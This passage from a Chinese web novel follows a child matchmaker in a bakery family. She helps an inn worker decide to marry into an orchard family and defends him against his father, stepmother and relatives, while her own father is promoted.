另一个还在懊恼,方才把苏家妹妹举起来喊人,实在不成体统,对方会不会觉得自己孟浪。 直到前面的人走远,他俩还未说一句话。 “这棵树,怎么是歪的。”兰双有什么说什么。 别看她文静不爱说话,其实在家里时,跟魏娘子的爽利性子一样,有什么说什么。 “盆玩的设置多为如此,称为槎牙可观。此应是露顶张拳。”黄秀才下意识解释。 兰双顿住。 完蛋,好几个词都没听懂。 黄秀才脱口而出,又觉自己卖弄,细细解释:“小生夫子喜爱盆玩,便是盆景,爱好者多会在盆景里搭建多种景观,槎牙为树枝错落状。” “这一盆便养成树枝错落状,根据错落形状不同,又会起不同的名字。” “露顶张拳是最近比较流行的一种。” “哦,就跟绣花的花样一般?什么牡丹纹,锦鲤纹,花草纹。这样吗?” 黄秀才点头:“是了,是这样。” 一直到西花园,黄秀才跟兰双明显放松下来。 别人都去放风筝了,黄秀才将自己手里风筝让了出去:“兰双姑娘,你也去玩吧,今日天好,正适合放纸鸢。” 原锐带过来的风筝只有六个,不好提前给魏娘子母女准备,否则有些太明显。 兰双确实想玩,纠结片刻:“要不然一起?” 反正这里都是自己人,大家明知道过来做什么的。 苏茵茵跟原锐刚把两个风筝都放起来,擦擦头上的汗,小声对原锐道:“我感觉好事要成了。” 李锐渊并不关心这些,只拿了帕子给她:“擦擦汗,要不要喝水。” 蜂蜜水甜滋滋的,里面还加了解腻的鲜花。 西花园一片春意盎然,风筝玩过了,再去骑马。 就连魏娘子都上马试了试,她虽是在场众人的长辈,却有意降低存在感,给孩子们玩乐的空间。 魏娘子的好心情不言而喻,虽说她走在最前面,却也时刻关注女儿的动向。 见女儿话多起来,人也多了笑脸,这才放心的。 中午不用吩咐,一桌子好菜备在水榭亭子里,还有时鲜烤肉,刚下的果子,连带着果汁端上来。 一边赏景,一边吃着春宴。 这才是春天的感觉啊。 玩了一上午,苏茵茵感觉自己无比快乐,跑去烤了三串肉拿过来。 哥哥的,自己的,原锐的。 苏茵茵烤肉的手艺极好,既不会太干,也不会太油。 虽说原锐一直在旁边紧张,但她根本不担心这些,她做饭可好吃了。 “你尝尝。”苏茵茵递过去一块肉。 她知道原锐吃东西一向很少,所以做的时候很细致,能多吃一口都是好的。 一直被魏娘子拉着的苏显终于有时候去找妹妹,刚来便瞳孔地震。 好在妹妹立刻把他的肉串拿过来:“哥这是你的,没有放辣椒。” 还好,妹妹记得自己不爱吃什么。 苏显走到妹妹另一边,拿起肉串尝了一口。 好吃。 肉烤的恰到好吃,味道也调得好。 那边原锐已经吃完了,甚至有些意犹未尽。 苏茵茵少有机会展示厨艺,对自己很是满意。 “老大,我的呢。” 可怜兮兮的孙东俊不敢置信道:“我的呢。” 别人就算了! 他可是老大的小弟! 李锐渊这才正眼看他。 上午都是斜着眼看的。 这就是小宝宝说的,比他高,比他壮的人。 李锐渊扭头对苏茵茵道:“再给我烤一串吧。” 苏茵茵还没来得及回孙东俊的话,惊喜道:“真的?” 连苏显都默默退后一步,还是给原锐先烤吧,他难得想吃什么东西。 至于孙东俊? 直接被苏显拽走啊,桌子上那么多好吃的,别让他妹妹太辛苦! 李锐渊跟着一起动手,罕见多吃了些肉。 “多吃点就能长高,还能长肉。”苏茵茵不停道,“我还日日喝牛奶呢,等长大了你要是没我高怎么办。” 苏茵茵苏显两人,每日必喝一碗牛奶,两人个头明显比同龄小孩高。 李锐渊听到这个可能,又咬了口肉。 吃。 努力吃。 就像怕冷一样,他也可以改。 下午,苏茵茵又骑了会小马,等到时间差不多,一行人恋恋不舍回家。 魏娘子母女坐了其他马车,但看魏娘子的表情,显然对黄秀才做未来女婿很是满意。 那黄秀才怎么想的? 他们六个人挤到一辆马车上。 一群人齐刷刷看向黄秀才。 黄秀才的表哥轻咳:“回去再说。” 虽然大多都是小孩子,但这种话还是不好当当众讲的。 黄秀才表哥同魏娘子交流一会,听得出来对方家里人口简单。 主君在西城兵马司做副使,还是巡查副使,算是兵马司比较重要的部门,负责日常巡逻治安缉盗。 职位在京城自然算不得高,但普通人过日子,绝对够了。 黄秀才尴尬万分,考上秀才之后也见过几个女子,但他没什么成亲的想法。 今日,好像有些不同? 兰双姑娘有些不同。 她有什么说什么,对许多事好奇不扭捏。 黄秀才感觉,自己要是有她几分自然,或许就不会那般容易尴尬。 把孩子送到慧女点心门口,黄秀才谢了大家,特别是苏家妹妹的朋友原锐。 若不是他临时借了宅子,今日肯定不会这般从容。 黄秀才还要再谢,那边孙东俊已经跑回自家店里,兴奋地跟爹娘说今日放了风筝,还骑了大马! 原锐看了看两个店的距离,脸色更不好看了。 这样下去,小宝宝会不会跟邻居关系更好? 他以后要多过来才行。 黄秀才挠头,他还是不说话了吧? 回到夫子家中,这下表哥跟夫子一齐来问。 小红娘牵线的女孩子如何? 苏茵茵同样好奇这个问题。 没过几日便有了答案。 成了! 不管魏娘子母女,还是黄秀才,以至于进士夫子同巡查副使找机会见了一面,双方都很满意。 一个是汴京人户,一个刚考上秀才的潜力股。 不管以后发展如何,都能把日子过得不错。 竟然又成了。 苏茵茵自己都傻眼。 魏娘子夸了半日,全靠茵茵先认出门口的人是黄秀才,否则这桩姻缘还真要错过。 魏娘子还说了些娘家的事。 她娘家被拆穿后自知理亏,一直要登门道歉。 本以为是真心实意,没想到对方竟然打着进门的念头,然后再劝一劝。 意思是魏娘子家不过是副使,还是武将,在京城找不到好门第,反而魏家在定州一向不错云云。 魏娘子本来应当生气的,可想到她女儿已经许给正儿八经的新秀才,只觉得对方可笑。 得知兰双有了未婚夫,还是秀才之后,对方脸上挂不住,只能一个劲道歉。 结果? 结果自然被赶出家门。 巡查副使之前说,若见到他们,肯定要打一顿。 既然都凑上门了,这不打不合适吧。 他这个武将,最会打闷棍。 当然了,这些都是笑谈,最重要还是婚事成了。 苏茵茵摸摸脸。 真有那么神奇? 她还真当上小红娘了? 不管此事如何低调,还是让不少人知道。 再加上之前小红娘的聪明劲,一切都让周围人确信,苏茵茵就是小红娘! 但凡她牵线的姻缘,一定会美满的。 也有前提条件。 要顺其自然,不能强求。 还要是不经意牵线,这才有效。 还不能太打扰小红娘,否则就不灵验了! 当然了,若有什么拿不准的人家,可以请小红娘看看,或许就合适了呢? 一条条看下来,苏茵茵觉得,大家似乎已经在她身上找好规律了?! 于是,慧女点心门口,便有了稳定的客源。 他们过来不是为了姻缘,顶多蹭蹭运气。 万一呢? 万一无意中凑了一对呢。 反正不能强求!不能刻意! 他们只是过来买点心的! 别的不说,定了亲的人家更愿意来慧女点心预定喜饼,谁不想沾沾喜气。 黄秀才跟兰双姑娘的婚事更不用讲。 等定下日子,黄秀才便会过来交定金,甚至连喜宴上的点心,都打算请慧女点心来做。 正好苏娘子新学了五种点心,可供大家挑选的种类也多了。 苏大伯他们只能眼睁睁看着,估计用不了几年,慧女点心的点心种类,就会跟苏家点心铺一样。 到时候他们的生意肯定更差。 实在没办法,苏家点心铺咬牙重新用回老手艺,不省原材料。 可惜名声这东西,毁了就是毁了,很难再挽回。 那过来找二房家的麻烦? 他们也不敢了。 甚至后悔当初为什么欺负周慧女,要是能跟二房家的处好关系,或许就不会这样。 可惜世上没有后悔药。 他们也早就分家,不要有联系,那才是最好的。 等黄秀才家人赶来,定好婚事已经是夏末的事。 小红娘战绩又加一笔! 西城兵马司里,巡查副使跟火禁副使走得近,上司宁郡王知道一些。 但巡查副使过来跟宁郡王道谢时候,宁郡王方知,他们还借的是自家园子? 借园子本是小事,但最近专门用园子的,只有太子殿下啊。 宁郡王看向巡查副使。 你这老小子不是在提点本郡王吧? 证明你跟殿下关系不错? 若真是这样。 本郡王立刻巴结你。 都能让太子开口用园子,此时不巴结,何时巴结。 了解前因后果,宁郡王看向苏副使的目光变得复杂。 好啊,原来是你。 你家那个有福气的小娃娃,竟然跟太子殿下关系不错,他都不行啊。 不过再想想,皇上皇后对殿下行踪必然了如指掌,也就以苏副使平日古道热肠的性格,皇宫才安心的。 平日不少人说他太照顾同僚旧友,甚至对属下格外好,不贪不吝,有些过于傻气。 谁能想到会从这方面有所回报。 宁郡王想了想最近兵马司人事变动,苏副使确实是个合适人选。 无论能力还是人品,在兵马司都属罕见。 除了出身低了些,别的都很好。 哎,希望陛下跟皇后娘娘,看到他这份良苦用心啊。 刚从押送犯人回兵马司的苏副使,还未喝口水,就被火禁司指挥使喊了过去。 火禁司指挥使今年五十八,还有两年年就要致仕,这老头精瘦,平日不怎么管事。 反正火禁司有得力的属下做事。 指挥使笑眯眯道:“不错不错,不愧是本官看重的兵勇。” 当年苏副使能从边关回来直接来汴京当兵卒,便是指挥使点用,毕竟一起上过战场啊。 “本以为以你的出身,做指挥使便到头了,没想到朝廷如今果然不同,还真给了机会。” 苏副使听得一愣一愣。 等他回到家中还没反应过来。 他? 以后不用去监牢看着犯人,还不用带着人救火防走水。 只要跟在指挥使身边即可。 跟着干嘛? 学做事! 苏显苏茵茵同时抬头。 苏娘子还愣了下,随即反应过来。 “这是,要提拔你的意思?”苏娘子惊喜道。 苏副使嘴角也带了笑:“好像是。” 哪里好像了,分明就是。 苏茵茵掰着指头算了算:“爹爹升职,便是指挥使?” 哇,厉害啊! 苏显这一年准备童试,很了解官员职位:“指挥使,从六品的武官。” 哇,从七到从六! 妥妥的升迁! 还猛跨了一级。 苏显摇头:“不是,爹爹今年应该会升正七,这样才能在两年后顺理成章升从六。” 算起来,苏副使在这个位置上做了四年,确实可以升一升。 只是没想到,今年升迁,会为两年后铺路。 让人惊喜。 太平年间的武将想要动一动,难如登天啊。 苏茵茵为爹爹感到高兴。 爹爹确实值得! 无论酷暑严寒,爹爹的差事总是办得最好。 苏副使忍住激动,但没人会面对升职还无动于衷,还是道:“指挥使确实说,今年九月份考核,只要还跟往年一样,得个上等,便一定会升至七品。” “到时候不仅俸银增加,每年还能多添不少米粮啊。” 确实,还是这个最实在。 苏娘子好笑:“咱们家也不缺什么。” 不说大富大贵,但吃穿不愁,她很知足了。 苏茵茵跟着点头。 这样的日子已经很好啦。 她都不敢想,等爹爹成为指挥使,那日子有多快乐。 苏显看了看课业。 总有一天,他也会拿俸银回来。 到时候日子更好。 苏家为了庆祝,专门出去吃了顿好的。 日子一定会越来越好的! 苏茵茵吃着酒楼饭菜,倒是勾起她做饭的想法。 可惜她年纪太小,娘亲根本不让她碰灶台。 真想快点长大。 快点看到爹爹升职的时候。 哦,还有哥哥,哥哥明年就要童试。 这日子,不仅越来越好,还越来越有盼头。 一家人吃着饭,酒楼伙计忐忑过来。 这伙计苏茵茵认识,上次来说,大厨给他们家打折的人就是他。 上次他还是能说会道。 这次怎么了? 伙计有些不好意思。 他最近有个烦心事,想请小红娘帮帮忙。 什么事? “婚姻大事。”伙计低声道,“有人给我说了个媒,不知道这事能不能去。” 吃饭的一家人看向茵茵。 他们家宝宝名声在外啊。 不过以往都是女方家担心对方有问题。 这次怎么是男方家了。 并非刻板印象。 而是婚嫁问题,多数都是女方家更谨慎,毕竟是要嫁过去,万事都要考虑周全。 等伙计一说,他们明白过来。 “入赘,有人问我,愿不愿意入赘!”??? 入赘? 虽说万龙国民风较为开放。 但入赘对于男子来言,确实难以言说。 苏茵茵挑眉:“对方条件极好?” “是啊,有屋有地,家里还有一处果园,问我要不要入赘,也不用做伙计,直接去京郊种果树。”伙计拍着大腿。 他家中有继母,有弟弟妹妹三个。 他自己五六岁便出门讨食,如今二十二靠着机灵当了个酒楼伙计,拿着的月钱别说成家,顾着自己就行了。 至于他家? 有继母在,就有后爹,那根本不是他家。 没想到前些日子有个来酒楼吃饭的女客人看上他力气大,问他愿不愿意入赘,然后说了条件,甚至讲了自家的地址。 那女子作风彪悍,干惯活的人,根本不在意那些繁文缛节。 说他这身力气,摘果子肯定卖力。 说大实话,伙计其实心动了。 在这做伙计也没什么好的,累死累活攒不下银子,住在十几个人通铺里,每日还要被客人刁难。 不如去种果树,至少吃喝不愁,还有地方住。 那女子皮肤粗糙了些,比他大几岁,可他也就长那样,顶多年轻些有力气。 但没等他想明白,周围伙计知道后,看着他便一阵笑闹。 “那女子比你大六岁,你真要去?” “啧啧,有钱人看上了,果真不一样。” “谁家好男儿入赘啊,以后你儿子都要跟她姓。” “要是你爹知道了,肯定把你腿打折。” 其他伙计的嘲笑,让他打了退堂鼓,几次路过那女子家的果园都没好意思进。 今日看到小红娘来吃饭,倒是让他有心动了。 不如让小红娘帮他拿主意。 苏家听八卦听的傻眼。 这种事确实少见。 而且也确实不好说。 苏茵茵问道:“也就是说,你还没去女子家看过?” “没有,实在不好意思。” “单是路过,就被同屋的几个人笑话很久。” 苏茵茵直接道:“是笑话,还是嫉妒。” 啊? 别说伙计了,连爹娘哥哥都看向她。 苏茵茵道:“你方才说在这月钱不高,还住大通铺,吃的也凑合。” “那人家有果园,有田地有宅院,哪里条件好还用说吗。” “若那姐姐看上他们,你看他们心动不。” “所以心动也没什么羞耻的。” “就是个子高的小白脸,这也能入赘?那可是个精明女人,你那么蠢笨,人家肯定骗你的。” 好像,好像是这回事?! 伙计认真想想,每次同屋几个人提起的时候,是有点酸啊。 特别是家里条件跟他一样差的,笑话的最多。 反而几个条件还不错的,说可以考虑考虑,只是让他问问他爹。 “他们确实是嫉妒!” 苏茵茵并未直接让他答应,最后道:“先去姐姐家看看,确定不是骗人的,再考虑要不要入赘。” “至于你爹那边,倒是不关紧的。” 为何? 苏茵茵双手一摊:“他又不养你,你还要为他传宗接代吗,他的姓氏又不金贵。而且你有两个弟弟,人家也不一定在乎。” 苏茵茵一番话,直接打消伙计好几个疑虑。 特别是姓氏这事。 他爹的姓氏,确实没什么好传的。 要不然明日就去果园看看。 他只是看看! 30-40 第31章 万金酒楼伙计杨力,趁着下午酒楼客人少,换了身干净衣裳出门,径直往西郊一处果园走去。 西郊大片农田之间,还有不少专门种果子的园子。 临近京城,再多的果子都能卖完,若自家种的果子好,甚至能卖给达官贵人,好好赚一笔。 三四月份的日子,正是一部分果树授粉开花的季节,果农们穿梭其中,减掉多余的花枝,只留最饱满的,等到夏秋,一定能结下又大又甜的果子。 还有一部分则已经挂枝,等到时间成熟,直接摘下即可。 杨力刚靠近李家果园,就能闻到里面李子樱桃的香味。 这让他想到自己老家。 老家屋后也有一颗李子树,他亲娘还在的时候,总是挑最大最圆的给他留下,挂在枝头久久的,谁让也不让碰。 等到李子彻底成熟,他爹趁着早上起来摘下,专门留给他。 亲戚邻居谁要都不给。 他娘走后,李子树没人搭理,结不出那样的果子。 再之后,后娘来了,李子树是有人打理,可上面的果子他一个都不能碰,碰一下他爹就瞪他。 等到弟弟妹妹出生后,他彻底没了家。 在村里乞食,在镇上当乞丐,浑浑噩噩过了许多年,靠着力气大,嘴皮子也算利落,开始做伙计。 杨力很少想起以前的事,他就当自己没有那个家,一个人自由自在的,也没什么不好! 这会李家果园的李子,倒是让他想起很多。 “一会张家来人取李子,准备好了吗。”一个老汉喊道。 “早就备下了,爹你看。” 是那个李姑娘的声音! 看来她没骗人,她家确实有果园,还有宅院,听着养了不少鸡鸭鹅。 杨力嘴角忍不住往上扬,刚往前走一步,看门护院的狗子突然大叫。 “谁在那!”李姑娘大喝一声,牵着狗往外走。 看到是万金酒楼的小伙计,李姑娘反而笑:“是你啊。” 李老汉跟着走出来,打量杨力片刻:“谁?” “入赘的。”李姑娘低声道,“你看怎么样。” 这事李姑娘自然跟她爹提过,李老汉表情立刻便了,有些审视地打量。 前些年李老汉还打算让女儿正常嫁人,但那些年京城不太平,婚事耽搁下去。 如今太平了,女儿年龄却到二十八,在如今显得有些大了。 也不是嫁不出去,只是左挑右看,怎么都不满意。 等女儿提起要不招赘时,正契合李老汉心意。 那边喂了家里牲畜的李大娘过来,先招呼杨力道:“要不先进来,进园子再说。” 杨力被打量的不自在,又想到自己过来是做什么的,整个人不自在得很。 若不是小红娘劝他的话犹在耳边,估计他早就拔腿跑开。 李姑娘解开狗绳,拍拍大狗,让狗子们继续巡视。 那几条大狗盯着杨力好一会,方才去巡果园。 李老汉看了半日,也只是觉得这小子傻里傻气,也不知道干活怎么样。 难不成女儿看上他个子高,长得还算端正? 那他会做饭吗,要会做饭也成。 反正家里家外他跟女儿两个人就够了。 杨力几乎同手同脚进入果园,看到满地的箩筐,还有写的歪歪扭扭的纸张,明白李家今日还有很多活。 摘果子一般是在早上,这会应该要打扫园子,清扫烂果跟落叶。 在外漂泊许久的杨力这点还是能看出来的。 双方都有点尴尬,反而李姑娘一边收拾果园一边道:“要不要尝尝李子,今日刚摘的。” 果园里最不缺各种水果。 杨力手里被塞了几颗大李子,只觉得有点慌,再看李家人都在做活,三两口吃下口,帮着清理果树下的落叶。 不愧是李姑娘看中力气大的人,虽说有些不熟练,但做起事像模像样。 落叶烂果收拾好,又帮着整理箩筐,做好之后,甚至能帮忙拌饲料喂牛。 杨力过来之后,口才还算不错的他竟然没说几句话,全都吭哧吭哧干活了。 李老汉咋舌:“看来这是真想入赘。” 李大娘瞪他一眼,明显对未来女婿还算满意,这才问起杨力的情况。 杨力,今年二十二,家里爷奶都不在,有爹跟后娘,下面两个弟弟一个妹妹。 至于家中的家产田地,他一概不知。 不是不想知道,而是都瞒着他。 按照一般嫁娶来讲,肯定不妥。 若入赘,反而是优点? 李老汉再次佩服自己闺女,不愧是她,看来确实是挑好的。 李姑娘不置可否。 但她更好奇另一个问题,当日她同杨力提起这事的时候,杨力明显很抗拒,而且她还知道酒楼有伙计还笑话他。 当时看到这场面,李姑娘觉得这事约莫不成,甚至还去物色其他人选。 怎么过了几日,反而又来了? 杨力脸一红,提起一个意外的人。 “西城慧女点心,你们知道不,老板的女儿是西市有名的小红娘。”杨力,“昨日他们全家去酒楼吃饭,我就提了这事。” “她说,她说让我先来看看,还说不用管别人怎么看。” 什么入赘不入赘。 只要两人合适,阖家幸福,那就是好事。 反正是一起过日子。 小红娘?! 他们当然知道啊。 只是没想过跟他们还会有关系。 李姑娘惊奇道:“竟是她。” 李家本就有些满意这个干了一下午活的小伙子。 现在见小红娘都看好,更是高兴。 知道杨力一会还要回酒楼做事,李大娘提前做了晚饭,都是农家的饭菜,胜在用料新鲜,舍得放油,杨力很是饱餐一顿。 别看他在酒楼当伙计,但能吃到这样实在的饭菜,非常难得。 临走时李老汉还要给他装些水果,李姑娘摇摇头:“他要回酒楼。” 酒楼那些人看到杨力带着水果,难免说三道四,再把她婚事搅黄了。 谁料杨力咬咬牙:“带,带一些,让他们都看看。” “小红娘还说,越是笑话的,其实越嫉妒。” 啊? 别说李老汉李大娘,便是李姑娘都没想到这一茬啊。 杨力提着李家果园的水果回去,自然要顶住许多压力。 但他想着,反正自己下定决心了,只要李家不嫌弃,他就入赘。 至于这些嘲笑,不过开胃菜罢了。 而且,他还能仔细看看,谁嘲笑的最厉害,说不定真如小红娘说的,越是想入赘的,越是嘲笑? 提着一篮子水果回万金酒楼的杨力,自然迎来不少目光。 这会客人还少,不论后厨还是前台伙计都有时间凑在一起闲聊。 在杨力下午收拾收拾出门时,有人猜测:“他不会真要入赘吧。” “那也太丢人了。” “也还好,他家里那情况,入赘也没什么。” “喂,你这水果,不会是李大果家的吧?” 李大果就是李姑娘的本名。 她之前叫李小果,更像女孩子的名字,可爱。 但等她大一些,李姑娘觉得,自家开果园的,叫什么小果,要叫就要大果。 故而这名字,还被很多人笑称不像女孩子。 “哎,入赘了以后荣华富贵可别忘了我们啊。” “真没骨气,为了几个臭钱祖宗都不要了。” “没皮没脸,一点也不像个男人。” 杨力虽然尴尬,更多却在观察。 果然跟小红娘说的一样。 笑话他的,其实都带着嫉妒。 特别是大笑的那几个,明显愤愤不平。 杨力忽然释然了。 理这些人作甚,还是过好自己的日子吧。 去果园做活,不比在这强? 苏茵茵知道杨力同意入赘,已经跟李姑娘商量婚事时,还是很高兴的。 这种事,能想明白最好! 苏茵茵还收到李姑娘亲自送来新鲜杨梅樱桃。 李姑娘来的时候,特意看了看慧女点心招牌,看到里面写字的小娃娃,惊喜道:“小红娘?” 苏茵茵对这个外号已经不惊讶了,抬头看过去,就听大姐姐笑道:“我是李大果,果园那个,万金酒楼伙计的未婚妻。” 哎??? 苏茵茵站起来,苏娘子也从厨房走出,惊喜道:“是你啊。” 李姑娘特意来感谢小红娘,还说等她家办喜酒,一定在茵茵家定点心。 她还要去其他人家送水果,只留下一大篮子新鲜水果,便匆匆离开,看着就是爽利人。 苏茵茵吃着杨梅,还跟原锐讲这件事。 李锐渊对这些事并不算感兴趣,但乐意听小宝宝说话,最后道:“这事估计还没完。” 没完? 李锐渊提醒:“杨力他爹不会愿意。” 对哦。 她把这事给忘了。 虽说他家不重视杨力,可儿子都要入赘了,以后孩子要改姓。 这种事传出去,他爹肯定会被气炸。 李锐渊已经开始接触政务,很了解这些老古板们的想法。 不管朝廷推什么新政,都会以祖宗之法不可变为由抗拒。 像杨力他爹这种,也是老顽固的一种。 苏茵茵沉思片刻,认真道:“会有麻烦,但阻止不了。” “为何?” 那么相信杨力跟李大果吗。 苏茵茵伸伸懒腰,小宝宝的表情格外放松:“因为事情就是不断往前的,顽固老旧派会被欣欣向荣的时代抛弃。” 她可是学过历史的。 甚至能感受到,她所处的时代是在往前发展。 她不仅很乐观,她还会去通风报信! 苏茵茵话里的笃定让李锐渊觉得神奇。 不管什么时候,小宝宝心里都充满希望。 “走,咱们一起去万金酒楼!” 说做就去做,苏茵茵同娘亲说了一声,便跟原锐去酒楼找杨力。 原锐身边带着仆从,苏娘子自然放心,只道:“早些回来,有什么事记得去找街上巡捕。” 苏茵茵快快点头,拉着原锐的袖子离开。 万金酒楼,上午后厨备菜,伙计们帮着做些杂事,大堂冷冷清清,只等中午客人过来吃饭。 此刻大堂内却一片哭天抢地,连后厨都过来看热闹。 “你丢不丢人,还入赘,把祖宗八辈的人都丢完了。” “没出息的东西,你要是孝顺的话,就别跟那李大果往来!” “脸都不要了,我们杨家怎么会有你这样的人啊。” “家里有田有地还有牛,你为了那些银钱,就要入赘?要不要脸。” 哭天抢地的,不是杨力他爹,而是杨力的三个姑姑,还有一群杨家族亲。 杨力他爹正蹲在一旁抹泪,看样子伤心至极。 还有坐在凳子上的杨力后娘跟弟弟妹妹,后娘看戏一般,弟弟妹妹一脸愤慨。 总之表达的都是一个意思。 不肖子孙杨力! 竟然想要入赘! 丢人! 不要脸! 杨力黑着脸站在旁边,还有看热闹的伙计等人,就连门口都有看热闹的百姓。 苏茵茵惊愕道:“还是来晚一步。” 两人凑到前面,听周围人道:“也是,谁家好孩子入赘啊。” “真不是个男人。” “他家不是挺好的,听说有房有地,怎么要入赘啊。” “软饭男,真让人看不起。” 眼看讨论声越来越大,连酒楼大堂众人都听见了。 杨力的姑姑也开口:“是啊,家里什么都有,你还是长子,怎么要入赘呢。” 杨力他爹同样点头:“孩子咱们回家,不做那丢祖宗面子的事。” 众人吵的热闹,苏茵茵明显看到杨力后娘脸色微变,干脆直接问出来:“杨老爹,你说你家有屋有地,所以不让杨力入赘,敢问地有多少,屋有几间?” 不少人也跟着问,杨力欲言又止,让杨老爹以为看到希望,赶紧道:“地有二十多亩了,屋子盖了四间啊。” “今年还养牛了,我家这条件,怎么会让长子入赘,到时候整个杨家村都会笑话。” 消息传到杨家村之后,村头村尾都在指着他家笑,传到外头,别人又在笑他们整个村。 就连出嫁的姊妹都回来问。 大家丢不起这个人! 杨力刚想说这些东西跟我有关系吗,就见小红娘给他使眼色。 苏茵茵再问:“那好啊,你说说,能给你儿子分多少地,分多少屋?你都说长子了,分得肯定更多吧。” 杨力后娘有些忍不住,可想想最近的传言,还是强行闭嘴。 “他爹还在呢,怎么这会撺掇着分家,算什么事!”杨力姑姑喊道。 这也没错,长辈还在,就喊着分家,不合适啊。 这会问怎么分家产,有种盼着老爹赶紧死的意思。 不少人看向苏茵茵的眼神并不赞同:“你个小娃娃懂什么。” 苏茵茵不为所动,直接道:“又不是现在分,只是让你说一说,也好让你儿子安心啊。他知道自己能有多少东西,肯定就不入赘。” 这倒也没错。 反正只是说说,没让现在就分出来。 李锐渊看向仆从,低声说了什么。 那杨老爹开口:“反正地肯定有他的,房子旁边还有空地,这两年给他盖两间房,娶媳妇肯定够用。” 这话说完,本以为杨力会心动。 谁料他嘴角竟然带了丝冷笑,明显并不相信。 下一秒,原本看戏的杨力后娘跳着出来,指着杨老爹骂:“你在说什么?!给他分地?还要盖房?” “你老杨家的房子地牛,哪个不是老娘我过来之后攒下的,平白给你儿子?做梦!那都是我儿子的!” 杨力后娘是个壮实的,干活一把好手,其中不少田地确实是她跟杨老爹一起开耕出来。 当年她嫁过来,杨家不过三亩地,一间房,大多数家产确实是她抠门攒下。 分她的东西,她肯定不愿意。 这下围观众人傻眼了。 那不是伙计的娘吗,一家人,怎么还分你儿子我儿子。 李锐渊仆从解释:“那是后娘。” 后娘。 怪不得。 这下逻辑就通了啊。 杨力后娘绝不可能把自己拼下的东西给别人,杨老爹跟她解释,说把之前的三亩地给杨力,不行给两亩。 结果自然是不行。 偏偏李锐渊这边还在拱火。 苏茵茵接过李锐渊让仆从写下的契约,只见上面赫然写着杨老爹方才说的话。 分给杨家长子杨力五亩田地,两间房屋。 待杨老爹百年之后分给杨力。 苏茵茵递过去:“您把这契约签下即可,不用现在就分,等以后再说。” 杨力后娘跳起来,直接把契约撕碎,根本不给杨老爹机会。 她的动作把苏茵茵吓一跳,还好李锐渊眼疾手快,护住茵茵,否则那么大的人扑过来,还怪吓人的。 苏茵茵握住原锐护住她的臂膀,垫着脚道:“既然不给杨力分,那你家有屋有地跟他又有什么关系。” “你们既不给一个家,又不让他去找自己的家,那让他怎么办嘛。” 围观众人听到这话,恍然大悟。 不少人明白杨力的处境。 要说如今的家里,有一半是他爹挣得,若当爹的有心,早就给儿子备下了,哪用得着这会临时开口。 但有后娘就有后爹。 他爹为了现在的家和和美美,主动把杨力排斥出去,就别怪人家孩子有别的想法。 杨力眼圈通红。 是啊,你不给我一个家,还不让我成家。 要说恨,杨力对后娘还好,其实更恨他爹。 以前不敢说这话,如今小红娘说的,让他明白过来。 后娘觉得他是拖油瓶,还能理解,当亲爹如此,别怪人家欺负他了。 自从他跟李姑娘口头定下之后,李家只要来西市送果子,必然捎上他一份,不拘是什么当季的水果,还给他带乡间捕的鱼,家里做的鸡腿。 昨日上午送来的荠菜包子,他吃得都快哭了。 这才是惦记他的人,真心对他好的。 同屋住的人确实还笑话他,但他已经完全不在意了,他就想有个家,什么形式都行。 连果园的狗子们都不冲他叫了,这难道还不够吗。 周围一时众说纷纭。 杨老爹被媳妇儿吵得不行,脱口而出:“我这是安抚他,你没听出来吗,家里东西肯定给咱们的孩子。” 众人忽然安静。 苏茵茵握住原锐手臂,一时不知道说什么。 杨力姑姑们也停止哭泣,虽然嘴里还在说不孝,丢人这种话,可明显心虚了。 偏心成这样,还让力儿怎么回家。 怪不得这酒楼伙计愿意入赘! 不少人同时想。 杨力那边冷笑:“我也不稀罕你们的东西,五六岁时我就没爹没娘四处讨饭了。” “以后我跟你们家没有关系,” “这,这是你说没关系就没关系吗!孝道呢!”人群里一个酸儒突然开口,“天下无不是的父母!” “三纲五常,懂不懂!” “父为子纲?”苏茵茵开口,不等对方回话,苏茵茵又道:“父为子纲,父不慈,子奔他乡为父望。” “伙计做的难道不对?” “你,你你在说什么?!”酸儒没想到,眼前这个小娃娃竟然懂这样多。 杨力听到三纲五常那种话,差点以为自己真的做错了,没想到小红娘还能驳斥回去,这下更有底气。 他身边悄悄走来一个人,低声对他道:“你按我说的讲。” 片刻后,杨力再次站出来,看向亲爹跟后娘,直接复述有人教他的话:“好啊,我不入赘了,今晚我就回杨家村。” 怎么突然想通了? 杨力家族亲一脸惊喜,太好了,他们杨家村不会被外人耻笑了。 杨力后娘却觉得不对劲。 果然,杨力又道:“今晚我就回去,以后我要种地,住房子。” “我可是杨家长子,按老家的规矩,该是我的,我都要弄过来。” 既然要孝道,要宗法。 他就按这个来。 他已经不是当年五六岁的小孩,二十二了,壮劳力了。 看这个家里,谁敢阻止他。 方才指责他的族亲,反而会站在他这边。 到时候被欺负的不一定是谁! 杨力后娘震惊片刻,随后脸色大变,这样不行!肯定不行! 回到殿下身边的仆从,敬佩无比地看向苏茵茵。 太聪明了。 怎么会这样聪明啊。 这一招使出来,就不必多说了。 杨力后娘绝对不会让杨力回去,反而会逼着他滚蛋,现在更是让杨老爹指着天发誓,直接断了父子关系云云。 也有一个弊端,要是杨力被这方面点醒,会不会真的回去? 苏茵茵沉默,悄悄摇头:“不会。” 及时他已经是成年人,力气年纪正盛。 但他在那个家,还是不好反抗。 “大象小时候会被绳子拴在柱子上,无论它怎么挣扎都挣脱不了。” “即使长大了,力气够了,依旧会被困在原地。” “不是心智极其坚毅的人,是走不出来的。” 突然想到什么的仆从,下意识看眼他们殿下。 殿下就走出来了! 还是因为苏茵茵。 小宝宝知不知道,她突然夸了殿下啊! 好在杨力不是真正的大象,他还有另一条路可走。 李姑娘过来的时候,只见杨力快步上前,赶紧解释:“我不会回杨家村的。” 李姑娘朝他轻轻摇头,以她的聪明,能看出来怎么回事,竟然大声道:“好啊,那我就嫁到杨家村,听说你家有屋有地还有牛呢,这不都是我们长房的?” “我做生意那样久,肯定可以料理好家里一切。” 李姑娘甚至上前握住杨力后娘的手:“虽然你不是我正经婆婆,但我还是会孝顺您,以后杨家交给我,你放一百个心,你怎么对杨力的,我一定怎么对您。” 众人哄然大笑。 怎么对杨力的? 这还用讲吗? 还未入门就要管家,这媳妇进门,可厉害呢。 “还有家里的弟弟妹妹,全都交给我,长嫂如母嘛,我一定管的极好,说东不敢往西!” 这下连苏茵茵都忍不住道:“厉害啊。” 先不说杨力后娘愿不愿意“放权”,就说把孩子交给长嫂手里,她吓都能吓死。 怪不得能招赘! 怪不得能管好一个大果园! 苏茵茵眼睛发亮,握拳道:“以后我也要招赘!” 李锐渊嘴角放平。 这个,有点难吧。 第32章 